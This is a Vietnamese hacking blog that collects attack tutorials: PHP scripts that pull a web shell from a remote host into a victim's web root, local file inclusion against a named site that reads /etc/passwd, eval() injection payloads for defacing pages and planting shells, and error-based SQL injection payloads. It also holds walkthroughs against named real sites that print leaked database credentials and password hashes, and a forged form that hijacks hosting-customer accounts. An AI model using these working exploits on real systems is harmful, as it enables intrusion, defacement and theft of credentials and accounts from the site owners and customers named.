Thứ Hai, 7 tháng 3, 2011

LFI - safe mode ON

 mẫu code mà kid dùng để up shell server có safe mode đang ON vì lúc đó ko thể dùng các hàm system,exec,shell_exec...
<?php
touch(vnk.php);
chmod("vnk.php", 0755);
$fin=fopen("http://dl.dropbox.com/u/10860051/shell/PHP/vnk.txt",r)or exit("false 1");
$fout=fopen("/home/victim/domains/victim.com/public_html/admin/vnk.php",a)or exit("false 2");
while(!feof($fin))
{
    fwrite($fout,fgets($fin));
}fclose($fin);
fclose($fout);
?>
hoặc:
<?php
touch(vnk.php);
chmod("vnk.php", 0755);
$fout=fopen("/home/victim/domains/victim.com/public_html/admin/vnk.php",a)or exit("false");
fwrite($fout,file_get_contents(http://dl.dropbox.com/u/10860051/shell/PHP/vnk.txt));
fclose($fout);
?>

[+] http://dl.dropbox.com/u/10860051/shell/PHP/vnk.txt <--- là link shell ở 1 host nào đó,up lên nhớ xem có quyền đọc ko đã nhé


[+] /home/victim/domains/victim.com/public_html/admin/vnk.php <--- là vị trí shell đc đẩy vào host,hảy chắc chắn là ta có quyền ghi file ở đó nhé !

[video]advanced LFI magis_quotes_gpc=ON

 PHP filesystem attack vectors

http://www.ush.it/20...attack-vectors/ <—- link cho các bạn kham thảo

nội dung chủ yếu xoay quanh vấn đề :

– Trong php(linux) các bạn include file : /etc/passwd/./././. sẽ trả ra cùng với quả với việc các bạn include : /etc/passwd <——- lợi dụng cái này để bypass blackist trong các hàm ghi file của các editor…

– Trong các hàm liên quan đến file của PHP,ví dụ như hàm include : include(path) thì biến path là đường dẫn đến file cần include,tuy nhiên biến path này cũng có giới hạn số ký tự <—- mình dùng cái này cho các site bị LFI mà không thể dùng null byte (do magic_quotes_gpc = On) để kết thúc chuỗi

Chi tiết victim mình chọn là :

http://cinebox212.co...ex.php?page=abc <— đề nghị các bạn không được phá hoại trang web này,đây mình chỉ demo cho các bạn xem kỹ thuật hoàn toàn không khuyến khích

các bạn có hành động phá hoại

B1 : kiểm tra lỗi

require_once(modules/abc.php) <———— dính chưởng

B2 : kiểm tra xem magic_quotes_gpc on hay off

Warning: require_once(modules/abc\0.php) [function.require-once]: failed to open stream: No such file or directory in /home/cinebox212/domains/cinebox212.com.vn/public_html/classes/webpage.php on line 274

<—————- magic_quotes_gpc = On rồi :”>

B3 : kiểm tra xem limit path của hàm require_once là bao nhiêu

414 Request-URI Too Large <— 2030 thì hơi bị bự

giảm xuống cái : 2020

giảm tiếp vậy

khà khà vậy là ở giữa 2010 và 2015

đoán tiếp vậy

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

<———– Cool exploit thành công

Tiếp theo thử xem mình có đủ quyền để truy cập vào /proc/self/environ hay không

do đường dẫn : /etc/passwd và /proc/self/environ thì cái /proc/self/environ nhiều ký tự hơn nên mình phải xóa bớt /.

B4 : exploit

DOCUMENT_ROOT=/home/cinebox212/domains/cinebox212.com.vn/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7 HTTP_ACCEPT_ENCODING=gzip,deflate HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5 HTTP_CONNECTION=close HTTP_COOKIE=PHPSESSID=9a5b8be46db1c0d5333dda79400713c3 HTTP_HOST=cinebox212.com.vn HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 HTTP_X_FORWARDED_FOR=125.234.5.26 HTTP_X_REAL_IP=125.234.5.26 PATH=/bin:/usr/bin PHPRC=/usr/local/etc/php5/cgi/ QUERY_STRING=page=./../../../../../../../proc/self/environ/

cool

Xong rồi,thử lấy PHP info thông qua LFI xem

PHP Version 5.2.10 <—


[+] Link video : http://www.mediafire.com/?2w4ynk49q297ft0

Eval() Vulnerability & Exploitation

File: Eval() Vulnerability & Exploitation
Author: GlaDiaT0R
Hits: 859
date: 2010-05-04

##############################################################################
# [+]Title: [Eval() Vulnerability & Exploitation]
##############################################################################
# [+] About :
##############################################################################
# Written by :  GlaDiaT0R  
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team :  Tunisian Power Team  ( DarkGh0st.Net )
##############################################################################
# [+]    Summary:
#           [1]-Introduction
#           [2]-Detection
#           [3]-Vulnerable Source code
#           [4]-Exploiting..
##############################################################################


[1]-Introduction

eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.

=======================================================


[2]-Detection

PoC 1 :

http://www.vulnsite.com/evalinject.php?ev=<? phpinfo(); ?>

[ eval() execute the contents of the variable "ev" as PHP code ]

----------

PoC 2 :

http://www.vulnsite.com/evalinject.php?ev=phpinfo();

[ eval() execute the contents of the variable "ev" as PHP code (without tags) ]

----------

PoC 3 :

Changing the header or POST variable cited by: phpinfo () [or <? phpinfo ();> php code used . ]
(With the Tamper Data)

[ eval () execute a chain whose variable $ HTTP_USER_AGENT is so just
change your header in PHP code ]

=======================================================


[3]-Vulnerable Source code

PoC 1 :

<?php
$Ev = $_GET['ev'];
$string = ($Ev);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

----------

PoC 2 :
<?php
$Ev = $_GET['ev'];
$eva = stripslashes($Ev);
eval($eva);
?>

----------

PoC 3 :

<?php
$string = stripslashes($HTTP_USER_AGENT);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

=======================================================

[4]-Exploiting..

----------
Write or Create a page containing : Hacked by ...
<?php $z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z); ?>

or

$z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z);
----------
To insert a remote page include using an url
<?php include('http://www.website.com/shell.txt'); ?>

or

include('http://www.website.com/shell.txt');
----------
Insertion of a distant code in the vulnerable website
<?php $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z); ?>

or

$z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z);
----------

Thank you for your attention. I hope you understood the process to exploit the eval () vulnerability .

Methods of Quick Exploitation of Blind SQL Injection

File: Methods of Quick Exploitation of Blind SQL Injection
Author: Dmitry Evteev
Hits: 1440
date: 2010-01-27

# Title: Methods of quick exploitation of blind SQL Injection
# Date: January 25th, 2010
# Author: Dmitry Evteev (Positive Technologies Research Lab)
# Contacts: http://devteev.blogspot.com/ (Russian); http://www.ptsecurity.com/


In this paper, the quickest methods of Blind SQL Injection (error-based) exploitation are
 collected and considered by examples of several widespread databases.

    
---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the
 database, but sometimes we cannot exploit the discovered vulnerability using classic methods
 (e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such
 cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?!
 It can be adapted for line-by-line reading of data from a database or a file system, and this
 technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take
 advantage of such opportunity! In this paper, we will consider the methods that allow one to use
 the database error messages as containers for useful data.

---=[ 0x02 ] Error-Based Blind SQL Injection in MySQL

At the turn of the last year, Qwazar has got a universal technique of exploitation of Blind SQL
 Injection vulnerabilities in applications operating under MySQL database from the depths of antichat
  (I wonder what else can be found in these depths). It should be mentioned that the proposed
 technique is rather complicated and opaque. Here is an example of applying this universal approach
 to MySQL>=5.0:

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

If the table name is unknown, which is possible for MySQL < 5.0, then one has to use more complex
 queries based on the function rand(). It means that we will often fail to obtain the necessary data
 with one http query.

mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1

Here is an example of practical use of the method for database structure restoration:

http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
...

The technique proposed by Qwazar is applicable to all MySQL versions including 3.x, which still can
 be found in the Global Network. However, taking into consideration the fact that sub-queries were
 implemented in MySQL v. 4.1, application of the described method to earlier versions becomes much
 more difficult.

---=[ 0x03 ] Universal Exploitation Techniques for Other Databases

Recently, the hacker under the pseudonym TinKode has successfully conducted several attacks using
 Blind SQL Injection vulnerabilities in a web server in the domain army.mil. In the course of
 attacking web applications operating under MSSQL 2000/2005 control, the hacker has demonstrated
 a rather interesting method to obtain data from a database. The technique used by TinKode in based
 on the fact that MsSQL generates an error in case of incorrect data type conversion, which in turn
 allows one to transfer useful data in the returned error message:

select convert(int,@@version);

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) 
 Jul  9 2008 14:43:34 
 Copyright (c) 1988-2008 Microsoft Corporation
 Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.

Consequently, if Blind SQL Injection is exploited using the described method, then it becomes
 possible to obtain the necessary data from Microsoft SQL Server rather quickly. For example, one can
 restore the database structure:

http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
...

If we notice that Sybase ASE, just like MS SQL Server, is based on Transact-SQL, it is plausible to
 assume that the described technique is applicable to this DBMS. Testing has strongly confirmed
 this assumption. All examples given for MsSQL hold true for the Sybase database, too.

Similar manipulations with type conversion were conducted for MySQL. The conducted experiments showed
 that in case of incorrect type conversion, MySQL returns non-critical error messages that do not
 allow one to attain the same aims for Blind SQL Injection exploitation. Meanwhile, experiments with
 PostgreSQL were successful:

web=# select cast(version() as numeric);
ERROR:  invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719  [FreeBSD]"

To obtain useful data by exploiting an SQL Injection vulnerability in an application operating under
 PostgreSQL control, one can use the following queries:

http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
...

---=[ 0x04 ] In the Depths of Oracle

I had gathered an interesting collection of quick methods of Blind SQL Injection exploitation, but
 I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a
 small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the
 Oracle environment. Then, my attention was attracted by the functions of interaction with the XML
 format. After a short investigation, I found a function XMLType() that returns the first symbol of
 requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Anyway, that's something. Now we can use the function substr() to read the desired information
 symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:

select XMLType((select substr(version,1,1) from v$instance)) from users; 
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be 
light-heartedly to stop at that. We will go further.

After investigating the function XMLType()in detail, I managed to find an analogous method to place
 data into the error message, which can be also applied to other databases:

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t
 implement automated type conversion. Therefore, the following query will cause an error:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data
 line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType()
 truncates the returned data after certain symbols, e.g. space character and the "at" sign (“@”).

However, there is no problem we could not solve;) To dispose of the problem of type conversion, one
 can apply the function upper(). Line-by-line data reading can be implemented using the following
 simple construction:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can
 be excluded from the sent query using numeric representation of symbols (ascii), which will later
 allow one to bypass filtering at the stage of processing the data that comes into the application.
 Thus, the resulting query becomes:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per
 one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--

To decode the data obtained from an application using the described method of SQL Injection
 exploitation, one can use, for example, the following standard Oracle function:

SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual;
UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>

---=[ 0x05 ] Resume

Thus, we obtained universal and quick techniques of error-based Blind SQL Injection exploitation for
 the following DBMSs: PostgreSQL, MSSQL, Sybase, MySQL version >=4.1, and Oracle version >=9.0. To
 identify the database version using one http request, the following constructions can be applied:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
OR
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

---=[ 0x06 ] Curtain

Sometimes, it seems that everything has been already invented and there is no sense is searching for
 something new. As you could see from the history of the development of Blind SQL Injection exploitation,
 it is not the case. There is always enough space for new investigations. Wish you good cracking!:)

---=[ 0x07 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind.html
http://qwazar.ru/?p=7 (Russian)
http://tinkode.baywords.com/index.php/2010/01/the-center-for-aerosol-research-nasa-website-security-issues/

---=[ 0x08 ] About Research Lab

Positive Technologies Research Lab and SecurityLab are willing to cooperate with independent researches
 in the analysis of the discovered vulnerabilities, in contacts with software vendors and CVE Number
 Reservation process. The vulnerabilities will be published in sections "Laboratory" and PT-advisory.
 The name of the researches will be preserved. 

Our disclosure policy: en.securitylab.ru/lab/disclosure-policy.php


Download PDF: http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
mẫu code mà kid hay dùng nhất và thấy hiệu quả nhất là :

/*!And (Select 1 From(Select Count(*),Concat(CHAR (124,124,124),(Select substr(Group_Concat(table_name),1,100 ) From Information_Schema.Tables),floor(rAnd(0)*2),CHAR (124,124,124))x From Information_Schema.Tables Group By x)a)*/-- -

How i hacked nhanhoanghia.com.vn! 03-22-2008, 06:54 AM

Hôm nay xin giới thiệu 1 bug php.
Bug : www.abc.com/downloadfile.php?file=abc/def.zip

Khai thác : www.abc.com/downloadfile.php?file=index.php
Ngoài file index.php bạn có thể download nhiều file nữa , từ đó bạn có thể nghiên cứu mà tấn công.

Victim www.nhanhoanghia.com.vn

Code:
http://www.nhanhoanghia.com.vn/downloadfile.php?file=index.php
Sau khi download file index.php ta mở ra : tìm được như sau :
PHP Code:
include "include/sql.php";
    include 
"include/init.php";
    include 
"mynewsfunction.php";
    include 
"myhtmlfunction.php";
    include 
"myprofunction.php"
Sau đó tiếp tục down file init.php về :
Code:
$server="localhost";
$username="nhanhoan_admin";
$password="ijnuhbygv";
$dbase="nhanhoan_db";
Tìm được user và pass của database.
Choài database là nhanhoan_db => file : nhanhoan_db.sql
Test thử :
Code:
http://www.nhanhoanghia.com.vn/downloadfile.php?file=nhanhoan_db.sql
Bùn 1 s.
Tìm cách khác vậy,
download các file mà index.php include về.
Tìm được trong file mynewsfunction.php dòng :
Code:
//include "webadmin/init_fr.php";
Ha nó chú thích lại loài ra được cái trang admin.
=> http://www.nhanhoanghia.com.vn/webadmin/

Tiếp down trang login về :
Code:
http://www.nhanhoanghia.com.vn/downloadfile.php?file=webadmin/login.php
login.php
Code:
....
<form name="form1" method="post" action="check.php?action=login">...
tiếp tục down trang check.php về :
Code:
<?
@session_start();
include("passinfo.php");
if($action == "login")
 {
  if(md5($username)!=$u)
   {
   echo "<script>
      location.href='login.php';
      </script> 
    ";
   exit(); 
   }
  if(md5($password)!=$p)
   {
   echo "<script>
      location.href='login.php';
      </script> 
    ";
   exit(); 
   }
  echo "<script>
      location.href='cookie.php?user=$p';
      </script> 
   ";
  exit(); 
 }
if($action == "logout")
 {
 session_unregister("bdvn_user");
 echo "<script>window.top.location.href = 'login.php';</script>";
 }

if(!$bdvn_user)
 {
  echo "<script>window.top.location.href = 'login.php';</script>";
  exit();
 }

?>
kekeke passinfo.php : nó đó
Down nó zìa lun
Code:
<? $u = "62b8f89cf8e72905e8d3d5cd4e143bef";  $p = "6487171dedb7dd65df63f63365a7c6f1"; ?>
Chít cha md5 dịch ko ra. Hic bùn wa'

Để ý lại 1 chút : trong file check.php có 1 đoạn
location.href='cookie.php?user=$p';
àh ha vậy là hiểu gồi heheh , nếu thích thì tải file cookie.php zìa.

nhưng mà chúng ta có thể fake cookie trực tiếp :
http://nhanhoanghia.com.vn/webadmin/...php?user=admin

[tut] hĩu thêm về UNION ! 04-18-2008, 02:22 PM




Code:
http://www.peric.ac.cn/product.php?product_id=2'
ở topic trước các bạn có bàn luận về site này nên hôm nay làm cái tut để anh em hĩu rõ thêm
+thứ 1:
SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm  (có sai thì mấy pro góp ý)
VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra +thứ 5:
cấu trúc UNION:
Code:
SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example
VD trên nghĩa là type các column trong 2 mệnh đề SELECT phải giống nhau

Áp dụng: 
trở lại site victim trên
Code:
mssql_query
=> nghĩa là nó sử dụng sql server or mysql
attack = UNION nha
đầu tiên đếm column đc 4 column
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables--
type khác nhau
Code:
http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables--
null ko có type nên bypass tốt
Code:
Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262
DISTINCT là gì thì các bạn tự tìm hĩu  (đơn giản là lọc kết quả trùng nhau)
để khắc phục thì xài union all select
kế típ dò type từng column
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,null,null,null%20from%20information_schema.tables--
vẫn bt =>column type int(thường là ID mà )
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,null,null%20from%20information_schema.tables--
ra số 2 đẹp đẹp
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,3,null%20from%20information_schema.tables--
báo lỗi nên change thành '3','a',.. gì đó miễn là type char
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,'3',null%20from%20information_schema.tables--
Code:
Warning: mssql_query(): message: Line 1: Incorrect syntax near '\'. (severity 15) in /home/www/peric/product.php on line 262
=> hình như bị magic quote(là gì thì tìm hĩu )
=>chuyển thành
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,null%20from%20information_schema.tables--
tương tự
Code:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,4%20from%20information_schema.tables--
tiếp theo chắc các bạn bít roài
---hết---
hoangduye at HCEgroup

PAVIETNAM bị hack như thế nào ? 07-18-2006, 11:01 AM

author : Kehieuhoc ( HCE-Group )

PA VIETNAM là công ty bán HOST nổi tiếng ở Việt Nam chắc các bạn củng biết .Họ đang xây dựng và triển khai mô hình hổ trợ khách hàng theo phong cách khoa học như các công ty nổi tiếng khác đang xử dụng .Tò mò với mô hình này mình đã lướt qua xem thử ....
http://support.pavietnam.net

Khà khà ...

khi bạn mua host của họ bạn sẽ được cấp cho một acc để vào trang support. Vào trang này bạn có thể quản lý các host và domain của bạn chẳng hạng như : lấy lại password ,hủy dich vụ ... host và domain của mình. Và tất nhiên nó cho phép mình thay đổi thông tin cá nhân của mình như Password...

Lướt qua bao nhiêu vậy thôi bay giờ chúng ta hãy vào vấng đề chính :

Nhìn sơ qua xét về thi hệ thống support này cũng khá là bảo mật ,nó cho tắt biệt riêng từng acc một.

Lươt thêm một dòng nữa :(chổ quan trọng đây !) vào phần thay đổi thông tin cá nhân :

user posted image

Như các bạn thấy đó ,nó cho phép ta thay đổi mật khẩu mà không thèm hỏi mật khẩu cũ của ta . He he he ....  (một chổ hở lớn đây !)

Lại thấy phần Mã khách hàng . Suy luận một tý -> :-P


Thứ nhất thông tin mã khách hàng trả về nhờ vào quá trình đăng nhập ,nó đã tạo ra một sesion lưu thông tin mã khách hàng của ta lại . Theo bạn nghĩ vậy thì có gì mà ta lại quan tâm -> ;;-)

Vấng đề la ở chổ này !

View Source của nó lên xem thử đã :


Code:
<td class="td_2">Maillist</td>
        <td class="td_2">:</td>
        <td class="td_2"><input type='radio' name='mailto' value='1' CHECKED> Nhận mail<input type='radio' name='mailto' value='0'> Không nhận mail</td>
      </tr>  
      <tr>
        <td class="td_2">Thuộc nhóm</td>
        <td class="td_2">:</td>
        <td class="td_2">
                                          <input name='mgroup' value='1' type='radio' CHECKED>                        </td>
      </tr>
      <tr>
        <td class="td_1">&nbsp;</td>
        <td class="td_1">&nbsp;</td>
        <td class="td_1">
                <input name="upid" value='****' type="hidden">
                <input name="pro" type="submit" class="submitbutton" value="&nbsp;Thay đổi&nbsp;">
          &nbsp;<input name="Submit2" type="reset" class="submitbutton" value="&nbsp;Làm lại&nbsp;"></td>
      </tr>
    </table><p style="margin-bottom: -19"></FORM>
    <table width="100%" height="10" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td><img src="images/spaces.gif" width="1" height="1"></td>
      </tr>
    </table></td>
Khà khà ,có điều thú vị nữa đây !!!
Bạn tinh mắt một tý thì thấy nó có thẻ

<input name="upid" value='****' type="hidden">


Code:
<form action="post.php" method="post">
-> đây chính là mã khách hàng mà ta đăng nhập đây -> vậy ta có một dự đón nếu file "post.php" kiểm tra mã khách hàng muốn thây đổi thông tin bằng cái <input name="upid" value='****' type="hidden"> thì ta có thể lợi dụng được nó !!! :-P (bây giờ thỉ phải thử mới biết được)

Tạo môt file pass.html có nội dung như sau :

Code:
<form action="http://support.pavietnam.net/post.php" method="post">
<table  border="0" align="center">
  <tr>
    <td>Ma khach hang : </td>
    <td>
    <input name="upid" >      </td>
  </tr>
  <tr>
    <td>Mat Khau : </td>
    <td><input name="pass"  size="20"></td>
  </tr>
  <tr>
    <td>Email</td>
    <td><span class="td_2">
      <INPUT name='email' class=box_input size="20">
    </span> </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input name="pro" type="submit" class="submitbutton" value="Thay doi"></td>
  </tr>
</table>
</form>
Ta nhập vào một mã khách hàng bất kì ví dụ "1001" va pass "123456"

Nhấn Submit

Sau đó vào lại trang login của nó nhập mã khách hàng và pass

-> ;;-) he he he không ngoài dự tính , file post.php kiễm tra mã khách hàng từ phía clien nên thông tin mã khách hàng trên đã bị thay đổi và ta có thể vào và tất nhiên là nắm quyền quản lý domain va host cua khách hàng !!!!

(file post.php cho phép ta truy xuất tới nó mặt dù ta không phải là thành viên)

Phần kết:

- Mức độ lỗi rất nguy hiểm !

-Đã thông báo với PA VIETNAM và họ đã fix !!!

Chào các bạn ! Như các bạn đã biết lần trước PA VIETNAM đã mắc phải một lỗi hết sức nghiêm trọng về hệ thống support của họ , đó là lỗi kiễm tra mã khách hàng từ phía client .

Xem qua bài viết Hack PA VIETNAM phần I :

http://hcegroup.net/Forums/index.php?showtopic=1884

Chú ý : Vì mức độ cực kỳ nguy hiểm mà bug thì chưa được PA VIETNAM fix (đã cố gắng thông báo với PA nhưng không ai trả lời hết ) nên mình nói trước với các bạn là sau khi các bạn đọc những gì mình viết dưới đây các bạn cứ đột nhập vào nhưng nhưng chỉ để tham khảo thôi, đừng có phá phách người ta tội nghiệp. Mình không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì mình viết dưới đây.

-> Có lẻ là hơi nhàm nhưng phải viết



Phần I cũng tương đối là thú vị phải không các bạn ! Nếu các bạn có nhã hứng chúng ta hãy cùng xem qua phần II -> niềm vui sẽ tăng gấp đôi !

-> he he he !!! Vào vấng đề thôi :

Chiều nay trời mưa to quá ! nguoihung chẳng biết làm gì ngoài việc ngồi vào chiếc PC của mình như mọi khi !

PC vừa khởi động xong , nguoihung liền bật ngay cái Internet Explorer lên , và lướt web .

